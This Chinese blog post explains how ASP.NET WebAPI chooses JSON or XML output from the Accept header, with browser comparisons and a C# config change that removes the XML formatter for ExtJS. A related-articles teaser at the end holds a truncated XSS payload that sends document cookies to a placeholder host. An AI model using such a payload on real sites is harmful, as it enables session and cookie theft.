WebAPI返回数据类型解惑 以及怎样解决Extjs无法解析返回的xml

 最近开始使用WebAPI,上手很容易,然后有些疑惑

  1.WebAPI默认返回什么数据类型,json还是xml?   2.怎么修改WebAPI的返回数据类型,我用IE浏览器请 求返回的数据都是JSON格式的,用Firefox和Chrome返回数据格式是XML,然后自己用HttpWebRequest请求返回的是JSON格 式的,我就纳闷了,咋同样的程序、同样的配置文件,输出数据格式为啥还带不一样的,就算你默认输出json或者xml都可以理解,咋还不同浏览器,输出格 式不同,经过一番研总算搞懂了原因

  经过测试发现使用IE浏览器返回的数据是json,而使用Firefox和Chrome返回的则为xml,经研究发现IE在发生http请求时请求头accpet节点相比Firefox和Chrome缺少"application/xml" 类型,由于WebAPI返回数据为xml或json格式,IE没有发送可接受xml和json类型,所以默认为json格式数据,而Firefox和 chrome则发送了可接受xml类型,故返回了xml数据,下面是IE、Firefox和Chrome浏览器的请求头

浏览器

返回数据格式

accept请求头

IE

json

text/html, application/xhtml+xml, */*

Firefox

xml

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,*/*

Chrome

xml

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,*/*

继续进行如下测试

1.只发送accept:application/json,结果返回了json

2.只发送accept:application/xml,结果返回了xml

3.同时发送accept:application/xml,application/json,结果返回了json

4.同时发送accept:application/json,application/xml,结果返回了json

5.修改优先级同时发送application/xml;q=1.0,application/json;q=0.9,结果返回了xml

由此可以得出结论:

  WebAPI的返回数据类型是有请求头的accept来决定的,默认返回类型为json     1.application/json和application/xml都没有时,返回json数据     2.仅有application/json时,返回json数据     3.仅有application/xml时,返回xml数据     4.同时有application/json和application/json时,返回数据类型和两者的顺序无关,若两者优先级相同则返回json,若优先级不同则返回优先级高的类型

详见下表:

Accept头

返回类型

application/json

json

application/xml

xml

application/xml,application/json

json

application/json,application/xml

json

application/xml;q=1.0,application/json;q=1.0

json

application/xml;q=0.9,application/json;q=0.9

json

application/xml;q=1.0,application/json;q=0.9

xml

application/xml;q=0.9,application/json;q=1.0

json

为了使其能正确返回json数据需要进行如下操作:

1.在程序里找到webapiconfig.cn如图:

2.添加如下代码:

public static void Register(HttpConfiguration config) 
        { 
            config.Routes.MapHttpRoute( 
                name: "DefaultApi", 
                routeTemplate: "api/{controller}/{id}", 
                defaults: new { id = RouteParameter.Optional } 
            ); 
 
            // New code: 
            var json = config.Formatters.JsonFormatter; 
            json.SerializerSettings.PreserveReferencesHandling = 
                Newtonsoft.Json.PreserveReferencesHandling.Objects; 
 
            config.Formatters.Remove(config.Formatters.XmlFormatter); 
        } 

好,在重新调试就不会出现Extjs无法解析什么什么的错误了.唉,这个问题困扰了我一天,总是想办法怎样去重新把数据转换成json,殊不知问题这么容易被解决了 随后我会把Extjs+webapi+Mvc4+EFmodel的事例与大家分享,敬请期待

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏一“技”之长

Java开发GUI之列表 原

    awt包中的List控件可以创建一个选择列表,此列表可以支持单选,也可以支持多选。

702
来自专栏编程微刊

如何把传统写法改成框架形式 es6http://www.expressjs.com.cn/

1032
来自专栏FreeBuf

xss如何加载远程js的一些tips

在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+documen...

2009
来自专栏大数据挖掘DT机器学习

Python Excel操作

最近公司要把Excel导入到mysql数据库,查了几篇博文,这几项是非常有用的,记录下来。 一、安装xlrd模块 到python官网下载http://pyp...

2874
来自专栏柠檬先生

sass 基础——回顾

1.webstorm 自动编译SASS   下载安装包 http://rubyinstaller.org/downloads/   然后点击安装,路径为默认路...

1967
来自专栏林德熙的博客

win10 UWP 单元测试 WPF 单元测试异步测试

单元测试和重构都是在做完一个小小函数一般就要进行一次,越早做就越好,可以比较早发现问题,这时我们还记得我们写的内容,不过比重构好的是,重构我们经常不知道要叫什么...

322
来自专栏null的专栏

python读取文件——python读取和保存mat文件

    首先我们谈谈MarkDown编辑器,我感觉些倒是挺方便的,因为用惯了LaTeX,对于MarkDown还是比较容易上手的,但是我发现,MarkDown中有...

4226
来自专栏lestat's blog

tp3.2.3实现支持点击排序

假设: Admin/Home/Controller/BaseController.class.php是一个基础控制器 $current_params和$in是两...

3003
来自专栏Puppeteer学习

Puppeteer实现选择性截图

截图的代码很简单,比如如果我想实现对百度搜索框部分截图怎么做呢,查询page.screenshot api 可以看到其api说明中包含clip 选项,用于设置截...

6288
来自专栏烂笔头

Django 1.10中文文档-第一个应用Part3-视图和模板

目录[-] 本教程上接Django 1.10中文文档-第一个应用Part2-模型和管理站点。我们将继续开发网页投票这个应用,主要讲如何创建一个对用户开放的界...

3266

扫描关注云+社区